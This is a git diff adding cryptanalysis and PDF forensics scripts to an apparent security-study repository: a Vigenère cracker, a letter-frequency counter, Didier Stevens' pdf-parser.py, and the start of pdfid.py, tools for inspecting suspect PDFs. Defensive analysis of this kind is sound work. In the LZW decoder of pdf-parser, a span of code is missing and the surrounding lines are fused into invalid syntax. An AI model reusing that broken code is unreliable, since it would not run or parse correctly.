has_valid_char: + raise InputError('No valid characters in ciphertext') + # If everything's all right, return the min_length and max_length. + return [min_length, max_length] + + def crack_codeword(self, *arg_list): + """ + Try to find the codeword that encrypted the ciphertext object. + If no arguments are supplied, codewords between the default minimum + length and the default maximum length are tried. + If one integer argument is supplied, only codewords with that length + will be tried. + If two integer arguments are given then the first argument is treated + as a minimum codeword length, and the second argument is treated as a + maximum codeword length, to try. + """ + array = self.__parse_args(*arg_list) + return self.__find_codeword(array[0], array[1]) + + def crack_message(self, *arg_list): + """ + Try to decode the ciphertext object. + This method accepts arguments in the same way as the crack_codeword() + method. + """ + codeword = self.crack_codeword(*arg_list) + return self.decipher(codeword) + + +# History +# ------- +# +# 2007-02-16: v 0.3. Minor (mostly cosmetic) modifications to make the code +# more compliant with the Python Style Guide +# (http://www.python.org/dev/peps/pep-0008/). +# +# 2006-06-11: v 0.2. Language support added for German (DE), Spanish (ES), +# French (FR), Italian (IT), and Portuguese (PT). +# +# 2006-04-29: v 0.1. First release. +# +# +# +# License +# ------- +# +# Copyright (c) 2006, Simon Liu +# All rights reserved. +# +# This library incorporates code from the PyCipher project on SourceForge.net +# (http://sourceforge.net/projects/pycipher/). The original copyright notice +# is preserved below as required; these modifications are released under the +# same terms. +# +# +# Copyright (c) 2005, Aggelos Orfanakos +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# * Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. +# +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/Cryptography/RotationCiphers/taste_like_english.py b/Cryptography/RotationCiphers/taste_like_english.py new file mode 100644 index 0000000..31454ea --- /dev/null +++ b/Cryptography/RotationCiphers/taste_like_english.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python + +__author__ = "Mari Wahl" +__email__ = "marina.w4hl@gmail.com" + +''' +This program calculate the frequency of letters in a files +so we can use this for cryptoanalysis later. + +For example, the 10 most frequent words in english: +e -> 0.104 +t -> 0.072 +a -> 0.065 +0 -> 0.059 +n -> 0.056 +i -> 0.055 +s -> 0.051 +r -> 0.049 +h -> 0.049 +d -> 0.034 +''' + +import chardet +from collections import defaultdict + + +# calculate the mean values from the table +def taste_like_english(dict_mean, word): + mean_word = 0 + counter = 0 + for c in word: + if c in dict_mean.keys(): + mean_word += dict_mean[c] + counter += 1 + return mean_word/counter + + + + +# count number of letters +def count_letters(FILE): + dict_letters = defaultdict(int) + with open(FILE) as file: + for line in file: + for word in line.lower().split(): + for c in word: + if c!='!' and c!="," and c!="-" and c!="."\ + and c!=";" and chardet.detect(c)['encoding'] == 'ascii': + dict_letters[c] += 1 + return dict_letters + + + +# calculate the frequency for the letters +def calculate_mean(dict_letters): + dict_mean = defaultdict(float) + sum_all = sum(dict_letters.values()) + for letter in sorted(dict_letters.keys()): + dict_mean[letter] = float(dict_letters[letter])/sum_all + return dict_mean + + + + +# first, test letters with official values +def test_values(): + dict_letters_test = {'e':0.104, 't':0.072, 'a':0.065, 'o':0.059, \ + 'n': 0.056, 'i': 0.055, 's':0.051, 'r':0.049, 'h':0.049, 'd':0.034} + print('Test for "english": ', taste_like_english(dict_letters_test, 'english')) # == 0.045" + + + +# now, test with some file, creating dictionary of letters +def test_file(): + dict_letters = count_letters(FILE) + dict_mean = calculate_mean(dict_letters) + for key in sorted(dict_mean, key=dict_mean.get, reverse=True): + print(key + ' --> ' + str(dict_mean[key])) + + + + +if __name__ == '__main__': + test_values() + + FILE = 'Ariel_Sylvia_Plath.txt' + test_file() diff --git a/Forensics/pdf-parser.py b/Forensics/pdf-parser.py new file mode 100755 index 0000000..1a86cc4 --- /dev/null +++ b/Forensics/pdf-parser.py @@ -0,0 +1,1031 @@ +#!/usr/bin/python + +__description__ = 'pdf-parser, use it to parse a PDF document' +__author__ = 'Didier Stevens' +__version__ = '0.4.3' +__date__ = '2013/09/18' +__minimum_python_version__ = (2, 5, 1) +__maximum_python_version__ = (3, 3, 0) + +""" +Source code put in public domain by Didier Stevens, no Copyright +https://DidierStevens.com +Use at your own risk + +History: + 2008/05/02: continue + 2008/05/03: continue + 2008/06/02: streams + 2008/10/19: refactor, grep & extract functionality + 2008/10/20: reference + 2008/10/21: cleanup + 2008/11/12: V0.3 dictionary parser + 2008/11/13: option elements + 2008/11/14: continue + 2009/05/05: added /ASCIIHexDecode support (thanks Justin Prosco) + 2009/05/11: V0.3.1 updated usage, added --verbose and --extract + 2009/07/16: V0.3.2 Added Canonicalize (thanks Justin Prosco) + 2009/07/18: bugfix EqualCanonical + 2009/07/24: V0.3.3 Added --hash option + 2009/07/25: EqualCanonical for option --type, added option --nocanonicalizedoutput + 2009/07/28: V0.3.4 Added ASCII85Decode support + 2009/08/01: V0.3.5 Updated ASCIIHexDecode to support whitespace obfuscation + 2009/08/30: V0.3.6 TestPythonVersion + 2010/01/08: V0.3.7 Added RLE and LZW support (thanks pARODY); added dump option + 2010/01/09: Fixed parsing of incomplete startxref + 2010/09/22: V0.3.8 Changed dump option, updated PrettyPrint, added debug option + 2011/12/17: fixed bugs empty objects + 2012/03/11: V0.3.9 fixed bugs double nested [] in PrettyPrintSub (thanks kurt) + 2013/01/11: V0.3.10 Extract and dump bug fixes by Priit; added content option + 2013/02/16: Performance improvement in cPDFTokenizer by using StringIO for token building by Christophe Vandeplas; xrange replaced with range + 2013/02/16: V0.4.0 added http/https support; added error handling for missing file or URL; ; added support for ZIP file with password 'infected' + 2013/03/13: V0.4.1 fixes for Python 3 + 2013/04/11: V0.4.2 modified PrettyPrintSub for strings with unprintable characters + 2013/05/04: Added options searchstream, unfiltered, casesensitive, regex + 2013/09/18: V0.4.3 fixed regression bug -w option + +Todo: + - handle printf todo + - fix PrettyPrint + - support for JS hex string EC61C64349DB8D88AF0523C4C06E0F4D.pdf.vir + +""" + +import re +import optparse +import zlib +import binascii +import hashlib +import sys +import zipfile +if sys.version_info[0] >= 3: + from io import StringIO + import urllib.request + urllib23 = urllib.request +else: + from cStringIO import StringIO + import urllib2 + urllib23 = urllib2 + +CHAR_WHITESPACE = 1 +CHAR_DELIMITER = 2 +CHAR_REGULAR = 3 + +CONTEXT_NONE = 1 +CONTEXT_OBJ = 2 +CONTEXT_XREF = 3 +CONTEXT_TRAILER = 4 + +PDF_ELEMENT_COMMENT = 1 +PDF_ELEMENT_INDIRECT_OBJECT = 2 +PDF_ELEMENT_XREF = 3 +PDF_ELEMENT_TRAILER = 4 +PDF_ELEMENT_STARTXREF = 5 +PDF_ELEMENT_MALFORMED = 6 + +#Convert 2 Bytes If Python 3 +def C2BIP3(string): + if sys.version_info[0] > 2: + return bytes([ord(x) for x in string]) + else: + return string + +def CopyWithoutWhiteSpace(content): + result = [] + for token in content: + if token[0] != CHAR_WHITESPACE: + result.append(token) + return result + +def Obj2Str(content): + return ''.join(map(lambda x: repr(x[1])[1:-1], CopyWithoutWhiteSpace(content))) + +class cPDFDocument: + def __init__(self, file): + self.file = file + if file.lower().startswith('http://') or file.lower().startswith('https://'): + try: + if sys.hexversion >= 0x020601F0: + self.infile = urllib23.urlopen(file, timeout=5) + else: + self.infile = urllib23.urlopen(file) + except urllib23.HTTPError: + print('Error accessing URL %s' % file) + print(sys.exc_info()[1]) + sys.exit() + elif file.lower().endswith('.zip'): + try: + self.zipfile = zipfile.ZipFile(file, 'r') + self.infile = self.zipfile.open(self.zipfile.infolist()[0], 'r', C2BIP3('infected')) + except: + print('Error opening file %s' % file) + print(sys.exc_info()[1]) + sys.exit() + else: + try: + self.infile = open(file, 'rb') + except: + print('Error opening file %s' % file) + print(sys.exc_info()[1]) + sys.exit() + self.ungetted = [] + self.position = -1 + + def byte(self): + if len(self.ungetted) != 0: + self.position += 1 + return self.ungetted.pop() + inbyte = self.infile.read(1) + if not inbyte or inbyte == '': + self.infile.close() + return None + self.position += 1 + return ord(inbyte) + + def unget(self, byte): + self.position -= 1 + self.ungetted.append(byte) + +def CharacterClass(byte): + if byte == 0 or byte == 9 or byte == 10 or byte == 12 or byte == 13 or byte == 32: + return CHAR_WHITESPACE + if byte == 0x28 or byte == 0x29 or byte == 0x3C or byte == 0x3E or byte == 0x5B or byte == 0x5D or byte == 0x7B or byte == 0x7D or byte == 0x2F or byte == 0x25: + return CHAR_DELIMITER + return CHAR_REGULAR + +def IsNumeric(str): + return re.match('^[0-9]+', str) + +class cPDFTokenizer: + def __init__(self, file): + self.oPDF = cPDFDocument(file) + self.ungetted = [] + + def Token(self): + if len(self.ungetted) != 0: + return self.ungetted.pop() + if self.oPDF == None: + return None + self.byte = self.oPDF.byte() + if self.byte == None: + self.oPDF = None + return None + elif CharacterClass(self.byte) == CHAR_WHITESPACE: + file_str = StringIO() + while self.byte != None and CharacterClass(self.byte) == CHAR_WHITESPACE: + file_str.write(chr(self.byte)) + self.byte = self.oPDF.byte() + if self.byte != None: + self.oPDF.unget(self.byte) + else: + self.oPDF = None + self.token = file_str.getvalue() + return (CHAR_WHITESPACE, self.token) + elif CharacterClass(self.byte) == CHAR_REGULAR: + file_str = StringIO() + while self.byte != None and CharacterClass(self.byte) == CHAR_REGULAR: + file_str.write(chr(self.byte)) + self.byte = self.oPDF.byte() + if self.byte != None: + self.oPDF.unget(self.byte) + else: + self.oPDF = None + self.token = file_str.getvalue() + return (CHAR_REGULAR, self.token) + else: + if self.byte == 0x3C: + self.byte = self.oPDF.byte() + if self.byte == 0x3C: + return (CHAR_DELIMITER, '<<') + else: + self.oPDF.unget(self.byte) + return (CHAR_DELIMITER, '<') + elif self.byte == 0x3E: + self.byte = self.oPDF.byte() + if self.byte == 0x3E: + return (CHAR_DELIMITER, '>>') + else: + self.oPDF.unget(self.byte) + return (CHAR_DELIMITER, '>') + elif self.byte == 0x25: + file_str = StringIO() + while self.byte != None: + file_str.write(chr(self.byte)) + if self.byte == 10 or self.byte == 13: + self.byte = self.oPDF.byte() + break + self.byte = self.oPDF.byte() + if self.byte != None: + if self.byte == 10: + file_str.write(chr(self.byte)) + else: + self.oPDF.unget(self.byte) + else: + self.oPDF = None + self.token = file_str.getvalue() + return (CHAR_DELIMITER, self.token) + return (CHAR_DELIMITER, chr(self.byte)) + + def TokenIgnoreWhiteSpace(self): + token = self.Token() + while token != None and token[0] == CHAR_WHITESPACE: + token = self.Token() + return token + + def unget(self, byte): + self.ungetted.append(byte) + +class cPDFParser: + def __init__(self, file, verbose=False, extract=None): + self.context = CONTEXT_NONE + self.content = [] + self.oPDFTokenizer = cPDFTokenizer(file) + self.verbose = verbose + self.extract = extract + + def GetObject(self): + while True: + if self.context == CONTEXT_OBJ: + self.token = self.oPDFTokenizer.Token() + else: + self.token = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if self.token: + if self.token[0] == CHAR_DELIMITER: + if self.token[1][0] == '%': + if self.context == CONTEXT_OBJ: + self.content.append(self.token) + else: + return cPDFElementComment(self.token[1]) + elif self.token[1] == '/': + self.token2 = self.oPDFTokenizer.Token() + if self.token2[0] == CHAR_REGULAR: + if self.context != CONTEXT_NONE: + self.content.append((CHAR_DELIMITER, self.token[1] + self.token2[1])) + elif self.verbose: + print('todo 1: %s' % (self.token[1] + self.token2[1])) + else: + self.oPDFTokenizer.unget(self.token2) + if self.context != CONTEXT_NONE: + self.content.append(self.token) + elif self.verbose: + print('todo 2: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.context != CONTEXT_NONE: + self.content.append(self.token) + elif self.verbose: + print('todo 3: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.token[0] == CHAR_WHITESPACE: + if self.context != CONTEXT_NONE: + self.content.append(self.token) + elif self.verbose: + print('todo 4: %d %s' % (self.token[0], repr(self.token[1]))) + else: + if self.context == CONTEXT_OBJ: + if self.token[1] == 'endobj': + self.oPDFElementIndirectObject = cPDFElementIndirectObject(self.objectId, self.objectVersion, self.content) + self.context = CONTEXT_NONE + self.content = [] + return self.oPDFElementIndirectObject + else: + self.content.append(self.token) + elif self.context == CONTEXT_TRAILER: + if self.token[1] == 'startxref' or self.token[1] == 'xref': + self.oPDFElementTrailer = cPDFElementTrailer(self.content) + self.oPDFTokenizer.unget(self.token) + self.context = CONTEXT_NONE + self.content = [] + return self.oPDFElementTrailer + else: + self.content.append(self.token) + elif self.context == CONTEXT_XREF: + if self.token[1] == 'trailer' or self.token[1] == 'xref': + self.oPDFElementXref = cPDFElementXref(self.content) + self.oPDFTokenizer.unget(self.token) + self.context = CONTEXT_NONE + self.content = [] + return self.oPDFElementXref + else: + self.content.append(self.token) + else: + if IsNumeric(self.token[1]): + self.token2 = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if IsNumeric(self.token2[1]): + self.token3 = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if self.token3[1] == 'obj': + self.objectId = eval(self.token[1]) + self.objectVersion = eval(self.token2[1]) + self.context = CONTEXT_OBJ + else: + self.oPDFTokenizer.unget(self.token3) + self.oPDFTokenizer.unget(self.token2) + if self.verbose: + print('todo 6: %d %s' % (self.token[0], repr(self.token[1]))) + else: + self.oPDFTokenizer.unget(self.token2) + if self.verbose: + print('todo 7: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.token[1] == 'trailer': + self.context = CONTEXT_TRAILER + self.content = [self.token] + elif self.token[1] == 'xref': + self.context = CONTEXT_XREF + self.content = [self.token] + elif self.token[1] == 'startxref': + self.token2 = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if self.token2 and IsNumeric(self.token2[1]): + return cPDFElementStartxref(eval(self.token2[1])) + else: + self.oPDFTokenizer.unget(self.token2) + if self.verbose: + print('todo 9: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.extract: + self.bytes = '' + while self.token: + self.bytes += self.token[1] + self.token = self.oPDFTokenizer.Token() + return cPDFElementMalformed(self.bytes) + elif self.verbose: + print('todo 10: %d %s' % (self.token[0], repr(self.token[1]))) + else: + break + +class cPDFElementComment: + def __init__(self, comment): + self.type = PDF_ELEMENT_COMMENT + self.comment = comment +# if re.match('^%PDF-[0-9]\.[0-9]', self.token[1]): +# print(repr(self.token[1])) +# elif re.match('^%%EOF', self.token[1]): +# print(repr(self.token[1])) + +class cPDFElementXref: + def __init__(self, content): + self.type = PDF_ELEMENT_XREF + self.content = content + +class cPDFElementTrailer: + def __init__(self, content): + self.type = PDF_ELEMENT_TRAILER + self.content = content + +def IIf(expr, truepart, falsepart): + if expr: + return truepart + else: + return falsepart + +class cPDFElementIndirectObject: + def __init__(self, id, version, content): + self.type = PDF_ELEMENT_INDIRECT_OBJECT + self.id = id + self.version = version + self.content = content + + def GetType(self): + content = CopyWithoutWhiteSpace(self.content) + dictionary = 0 + for i in range(0, len(content)): + if content[i][0] == CHAR_DELIMITER and content[i][1] == '<<': + dictionary += 1 + if content[i][0] == CHAR_DELIMITER and content[i][1] == '>>': + dictionary -= 1 + if dictionary == 1 and content[i][0] == CHAR_DELIMITER and EqualCanonical(content[i][1], '/Type') and i < len(content) - 1: + return content[i+1][1] + return '' + + def GetReferences(self): + content = CopyWithoutWhiteSpace(self.content) + references = [] + for i in range(0, len(content)): + if i > 1 and content[i][0] == CHAR_REGULAR and content[i][1] == 'R' and content[i-2][0] == CHAR_REGULAR and IsNumeric(content[i-2][1]) and content[i-1][0] == CHAR_REGULAR and IsNumeric(content[i-1][1]): + references.append((content[i-2][1], content[i-1][1], content[i][1])) + return references + + def References(self, index): + for ref in self.GetReferences(): + if ref[0] == index: + return True + return False + + def ContainsStream(self): + for i in range(0, len(self.content)): + if self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'stream': + return self.content[0:i] + return False + + def Contains(self, keyword): + data = '' + for i in range(0, len(self.content)): + if self.content[i][1] == 'stream': + break + else: + data += Canonicalize(self.content[i][1]) + return data.upper().find(keyword.upper()) != -1 + + def StreamContains(self, keyword, filter, casesensitive, regex): + if not self.ContainsStream(): + return False + streamData = self.Stream(filter) + if filter and streamData == 'No filters': + streamData = self.Stream(False) + if regex: + return re.search(keyword, streamData, IIf(casesensitive, 0, re.I)) + elif casesensitive: + return keyword in streamData + else: + return keyword.lower() in streamData.lower() + + def Stream(self, filter=True): + state = 'start' + countDirectories = 0 + data = '' + filters = [] + for i in range(0, len(self.content)): + if state == 'start': + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == '<<': + countDirectories += 1 + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == '>>': + countDirectories -= 1 + if countDirectories == 1 and self.content[i][0] == CHAR_DELIMITER and EqualCanonical(self.content[i][1], '/Filter'): + state = 'filter' + elif countDirectories == 0 and self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'stream': + state = 'stream-whitespace' + elif state == 'filter': + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1][0] == '/': + filters = [self.content[i][1]] + state = 'search-stream' + elif self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == '[': + state = 'filter-list' + elif state == 'filter-list': + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1][0] == '/': + filters.append(self.content[i][1]) + elif self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == ']': + state = 'search-stream' + elif state == 'search-stream': + if self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'stream': + state = 'stream-whitespace' + elif state == 'stream-whitespace': + if self.content[i][0] != CHAR_WHITESPACE: + data += self.content[i][1] + state = 'stream-concat' + elif state == 'stream-concat': + if self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'endstream': + if filter: + return self.Decompress(data, filters) + else: + return data + else: + data += self.content[i][1] + else: + return 'Unexpected filter state' + return filters + + def Decompress(self, data, filters): + for filter in filters: + if EqualCanonical(filter, '/FlateDecode') or EqualCanonical(filter, '/Fl'): + try: + data = FlateDecode(data) + except zlib.error, e: + message = 'FlateDecode decompress failed' + if len(data) > 0 and ord(data[0]) & 0x0F != 8: + message += ', unexpected compression method: %02x' % ord(data[0]) + return message + '. zlib.error %s' % e.message + elif EqualCanonical(filter, '/ASCIIHexDecode') or EqualCanonical(filter, '/AHx'): + try: + data = ASCIIHexDecode(data) + except: + return 'ASCIIHexDecode decompress failed' + elif EqualCanonical(filter, '/ASCII85Decode') or EqualCanonical(filter, '/A85'): + try: + data = ASCII85Decode(data.rstrip('>')) + except: + return 'ASCII85Decode decompress failed' + elif EqualCanonical(filter, '/LZWDecode') or EqualCanonical(filter, '/LZW'): + try: + data = LZWDecode(data) + except: + return 'LZWDecode decompress failed' + elif EqualCanonical(filter, '/RunLengthDecode') or EqualCanonical(filter, '/R'): + try: + data = RunLengthDecode(data) + except: + return 'RunLengthDecode decompress failed' +# elif i.startswith('/CC') # CCITTFaxDecode +# elif i.startswith('/DCT') # DCTDecode + else: + return 'Unsupported filter: %s' % repr(filters) + if len(filters) == 0: + return 'No filters' + else: + return data + +class cPDFElementStartxref: + def __init__(self, index): + self.type = PDF_ELEMENT_STARTXREF + self.index = index + +class cPDFElementMalformed: + def __init__(self, content): + self.type = PDF_ELEMENT_MALFORMED + self.content = content + +def TrimLWhiteSpace(data): + while data != [] and data[0][0] == CHAR_WHITESPACE: + data = data[1:] + return data + +def TrimRWhiteSpace(data): + while data != [] and data[-1][0] == CHAR_WHITESPACE: + data = data[:-1] + return data + +class cPDFParseDictionary: + def __init__(self, content, nocanonicalizedoutput): + self.content = content + self.nocanonicalizedoutput = nocanonicalizedoutput + dataTrimmed = TrimLWhiteSpace(TrimRWhiteSpace(self.content)) + if dataTrimmed == []: + self.parsed = None + elif self.isOpenDictionary(dataTrimmed[0]) and self.isCloseDictionary(dataTrimmed[-1]): + self.parsed = self.ParseDictionary(dataTrimmed)[0] + else: + self.parsed = None + + def isOpenDictionary(self, token): + return token[0] == CHAR_DELIMITER and token[1] == '<<' + + def isCloseDictionary(self, token): + return token[0] == CHAR_DELIMITER and token[1] == '>>' + + def ParseDictionary(self, tokens): + state = 0 # start + dictionary = [] + while tokens != []: + if state == 0: + if self.isOpenDictionary(tokens[0]): + state = 1 + else: + return None, tokens + elif state == 1: + if self.isOpenDictionary(tokens[0]): + pass + elif self.isCloseDictionary(tokens[0]): + return dictionary, tokens + elif tokens[0][0] != CHAR_WHITESPACE: + key = ConditionalCanonicalize(tokens[0][1], self.nocanonicalizedoutput) + value = [] + state = 2 + elif state == 2: + if self.isOpenDictionary(tokens[0]): + value, tokens = self.ParseDictionary(tokens) + dictionary.append((key, value)) + state = 1 + elif self.isCloseDictionary(tokens[0]): + dictionary.append((key, value)) + return dictionary, tokens + elif value == [] and tokens[0][0] == CHAR_WHITESPACE: + pass + elif value == [] and tokens[0][1] == '[': + value.append(tokens[0][1]) + elif value != [] and value[0] == '[' and tokens[0][1] != ']': + value.append(tokens[0][1]) + elif value != [] and value[0] == '[' and tokens[0][1] == ']': + value.append(tokens[0][1]) + dictionary.append((key, value)) + value = [] + state = 1 + elif value != [] and tokens[0][1][0] == '/': + dictionary.append((key, value)) + key = ConditionalCanonicalize(tokens[0][1], self.nocanonicalizedoutput) + value = [] + state = 2 + else: + value.append(ConditionalCanonicalize(tokens[0][1], self.nocanonicalizedoutput)) + tokens = tokens[1:] + + def retrieve(self): + return self.parsed + + def PrettyPrintSub(self, prefix, dictionary): + if dictionary != None: + print('%s<<' % prefix) + for e in dictionary: + if e[1] == []: + print('%s %s' % (prefix, e[0])) + elif type(e[1][0]) == type(''): + value = ''.join(e[1]).strip() + reprValue = repr(value) + if "'" + value + "'" != reprValue: + value = reprValue + print('%s %s %s' % (prefix, e[0], value)) + else: + print('%s %s' % (prefix, e[0])) + self.PrettyPrintSub(prefix + ' ', e[1]) + print('%s>>' % prefix) + + def PrettyPrint(self, prefix): + self.PrettyPrintSub(prefix, self.parsed) + +def FormatOutput(data, raw): + if raw: + if type(data) == type([]): + return ''.join(map(lambda x: x[1], data)) + else: + return data + else: + return repr(data) + +def PrintObject(object, options): + print('obj %d %d' % (object.id, object.version)) + print(' Type: %s' % ConditionalCanonicalize(object.GetType(), options.nocanonicalizedoutput)) + print(' Referencing: %s' % ', '.join(map(lambda x: '%s %s %s' % x, object.GetReferences()))) + dataPrecedingStream = object.ContainsStream() + oPDFParseDictionary = None + if dataPrecedingStream: + print(' Contains stream') + if options.debug: + print(' %s' % FormatOutput(dataPrecedingStream, options.raw)) + oPDFParseDictionary = cPDFParseDictionary(dataPrecedingStream, options.nocanonicalizedoutput) + else: + if options.debug or options.raw: + print(' %s' % FormatOutput(object.content, options.raw)) + oPDFParseDictionary = cPDFParseDictionary(object.content, options.nocanonicalizedoutput) + print('') + oPDFParseDictionary.PrettyPrint(' ') + print('') + if options.filter and not options.dump: + filtered = object.Stream() + if filtered == []: + print(' %s' % FormatOutput(object.content, options.raw)) + else: + print(' %s' % FormatOutput(filtered, options.raw)) + if options.content: + if object.ContainsStream(): + stream = object.Stream(False) + if stream != []: + print(' %s' % FormatOutput(stream, options.raw)) + else: + print(''.join([token[1] for token in object.content])) + + + if options.dump: + filtered = object.Stream(options.filter == True) + if filtered == []: + filtered = '' + try: + fDump = open(options.dump, 'wb') + try: + fDump.write(C2BIP3(filtered)) + except: + print('Error writing file %s' % options.dump) + fDump.close() + except: + print('Error writing file %s' % options.dump) + print('') + return + +def Canonicalize(sIn): + if sIn == '': + return sIn + elif sIn[0] != '/': + return sIn + elif sIn.find('#') == -1: + return sIn + else: + i = 0 + iLen = len(sIn) + sCanonical = '' + while i < iLen: + if sIn[i] == '#' and i < iLen - 2: + try: + sCanonical += chr(int(sIn[i+1:i+3], 16)) + i += 2 + except: + sCanonical += sIn[i] + else: + sCanonical += sIn[i] + i += 1 + return sCanonical + +def EqualCanonical(s1, s2): + return Canonicalize(s1) == s2 + +def ConditionalCanonicalize(sIn, nocanonicalizedoutput): + if nocanonicalizedoutput: + return sIn + else: + return Canonicalize(sIn) + +# http://code.google.com/p/pdfminerr/source/browse/trunk/pdfminer/pdfminer/ascii85.py +def ASCII85Decode(data): + import struct + n = b = 0 + out = '' + for c in data: + if '!' <= c and c <= 'u': + n += 1 + b = b*85+(ord(c)-33) + if n == 5: + out += struct.pack('>L',b) + n = b = 0 + elif c == 'z': + assert n == 0 + out += '\0\0\0\0' + elif c == '~': + if n: + for _ in range(5-n): + b = b*85+84 + out += struct.pack('>L',b)[:n-1] + break + return out + +def ASCIIHexDecode(data): + return binascii.unhexlify(''.join([c for c in data if c not in ' \t\n\r']).rstrip('>')) + +def FlateDecode(data): + return zlib.decompress(data) + +def RunLengthDecode(data): + f = StringIO(data) + decompressed = '' + runLength = ord(f.read(1)) + while runLength: + if runLength < 128: + decompressed += f.read(runLength + 1) + if runLength > 128: + decompressed += f.read(1) * (257 - runLength) + if runLength == 128: + break + runLength = ord(f.read(1)) +# return sub(r'(\d+)(\D)', lambda m: m.group(2) * int(m.group(1)), data) + return decompressed + +#### LZW code sourced from pdfminer +# Copyright (c) 2004-2009 Yusuke Shinyama +# +# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated +# documentation files (the "Software"), to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, +# and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +class LZWDecoder(object): + def __init__(self, fp): + self.fp = fp + self.buff = 0 + self.bpos = 8 + self.nbits = 9 + self.table = None + self.prevbuf = None + return + + def readbits(self, bits): + v = 0 + while 1: + # the number of remaining bits we can get from the current buffer. + r = 8-self.bpos + if bits <= r: + # |-----8-bits-----| + # |-bpos-|-bits-| | + # | |----r----| + v = (v<>(r-bits)) & ((1< __maximum_python_version__: + if enforceMaximumVersion: + print('This program does not work with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Please use Python version %d.%d.%d' % __maximum_python_version__) + sys.exit() + else: + print('This program has not been tested with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Should you encounter problems, please use Python version %d.%d.%d' % __maximum_python_version__) + if sys.version_info[0:3] < __minimum_python_version__: + if enforceMinimumVersion: + print('This program does not work with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Please use Python version %d.%d.%d' % __maximum_python_version__) + sys.exit() + else: + print('This program has not been tested with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Should you encounter problems, please use Python version %d.%d.%d' % __maximum_python_version__) + +if __name__ == '__main__': + TestPythonVersion() + Main() diff --git a/Forensics/pdfid.py b/Forensics/pdfid.py new file mode 100755 index 0000000..cdf7c3c --- /dev/null +++ b/Forensics/pdfid.py @@ -0,0 +1,714 @@ +#!/usr/bin/env python + +__description__ = 'Tool to test a PDF file' +__author__ = 'Didier Stevens' +__version__ = '0.1.2' +__date__ = '2013/03/13' + +""" + +Tool to test a PDF file + +Source code put in public domain by Didier Stevens, no Copyright +https://DidierStevens.com +Use at your own risk + +History: + 2009/03/27: start + 2009/03/28: scan option + 2009/03/29: V0.0.2: xml output + 2009/03/31: V0.0.3: /ObjStm suggested by Dion + 2009/04/02: V0.0.4: added ErrorMessage + 2009/04/20: V0.0.5: added Dates + 2009/04/21: V0.0.6: added entropy + 2009/04/22: added disarm + 2009/04/29: finished disarm + 2009/05/13: V0.0.7: added cPDFEOF + 2009/07/24: V0.0.8: added /AcroForm and /RichMedia, simplified %PDF header regex, extra date format (without TZ) + 2009/07/25: added input redirection, option --force + 2009/10/13: V0.0.9: added detection for CVE-2009-3459; added /RichMedia to disarm + 2010/01/11: V0.0.10: relaxed %PDF header checking + 2010/04/28: V0.0.11: added /Launch + 2010/09/21: V0.0.12: fixed cntCharsAfterLastEOF bug; fix by Russell Holloway + 2011/12/29: updated for Python 3, added keyword /EmbeddedFile + 2012/03/03: added PDFiD2JSON; coded by Brandon Dixon + 2013/02/10: V0.1.0: added http/https support; added support for ZIP file with password 'infected' + 2013/03/11: V0.1.1: fixes for Python 3 + 2013/03/13: V0.1.2: Added error handling for files; added /XFA + +Todo: + - update XML example (entropy, EOF) + - code review, cleanup +""" + +import optparse +import os +import re +import xml.dom.minidom +import traceback +import math +import operator +import os.path +import sys +import json +import zipfile +try: + import urllib2 + urllib23 = urllib2 +except: + import urllib.request + urllib23 = urllib.request + +#Convert 2 Bytes If Python 3 +def C2BIP3(string): + if sys.version_info[0] > 2: + return bytes([ord(x) for x in string]) + else: + return string + +class cBinaryFile: + def __init__(self, file): + self.file = file + if file == '': + self.infile = sys.stdin + elif file.lower().startswith('http://') or file.lower().startswith('https://'): + try: + if sys.hexversion >= 0x020601F0: + self.infile = urllib23.urlopen(file, timeout=5) + else: + self.infile = urllib23.urlopen(file) + except urllib23.HTTPError: + print('Error accessing URL %s' % file) + print(sys.exc_info()[1]) + sys.exit() 